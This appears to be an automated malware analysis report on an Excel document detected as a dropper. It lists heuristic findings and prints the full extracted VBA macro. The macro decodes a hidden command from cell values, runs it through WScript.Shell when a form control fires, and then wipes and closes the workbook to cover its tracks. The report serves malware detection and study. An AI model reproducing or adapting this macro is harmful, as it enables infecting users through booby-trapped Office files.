MALICIOUS
220
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
The sample contains VBA macros that utilize WScript.Shell and CreateObject to execute commands. The script appears to construct a command string and then execute it using WScript.Shell, likely to download and run a secondary payload. The ClamAV detection name 'Doc.Dropper.Agent' further supports this dropper functionality.
Heuristics 5
-
ClamAV: Doc.Dropper.Agent-7791910-0 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Dropper.Agent-7791910-0
-
VBA macros detected medium 2 related findings OLE_VBA_MACROSDocument contains VBA macro code
-
WScript.Shell usage critical OLE_VBA_WSCRIPTWScript.Shell usageMatched line in script
On Error Resume Next: Print1 = ActiveSheet.UsedRange: boxx1 = 1 For Each forr In ActiveSheet.UsedRange.SpecialCells(xlCellTypeConstants): prvview = prvview + Chr((forr + boxx1)): Next forr: WScript.Quit = (CreateObject("WScript.Shell").Exec(prvview).StdOut.ReadAll()) formsa3 -
CreateObject call high OLE_VBA_CREATEOBJCreateObject callMatched line in script
On Error Resume Next: Print1 = ActiveSheet.UsedRange: boxx1 = 1 For Each forr In ActiveSheet.UsedRange.SpecialCells(xlCellTypeConstants): prvview = prvview + Chr((forr + boxx1)): Next forr: WScript.Quit = (CreateObject("WScript.Shell").Exec(prvview).StdOut.ReadAll()) formsa3 -
Reference to Windows Script Host high SC_STR_WSCRIPTReference to Windows Script Host
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 1243 bytes |
SHA-256: 2310782b55c1dcc727c34531557a12c27e9b9df5d18501ba1090fe6aed55d68b |
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "Sheet1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Attribute VB_Control = "pay1, 3, 0, MSForms, CommandButton"
Attribute VB_Control = "print3, 2, 1, MSForms, Frame"
Sub formsa3()
Cells.Clear: With ActiveSheet: .Protect: End With: Application.Wait (Now + TimeValue("0:00:05"))
ActiveWorkbook.Close True: End
End Sub
Private Sub print3_Layout()
On Error Resume Next: Print1 = ActiveSheet.UsedRange: boxx1 = 1
For Each forr In ActiveSheet.UsedRange.SpecialCells(xlCellTypeConstants): prvview = prvview + Chr((forr + boxx1)): Next forr: WScript.Quit = (CreateObject("WScript.Shell").Exec(prvview).StdOut.ReadAll())
formsa3
End Sub
Private Sub pay1_Click()
print3_Layout
End Sub
Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.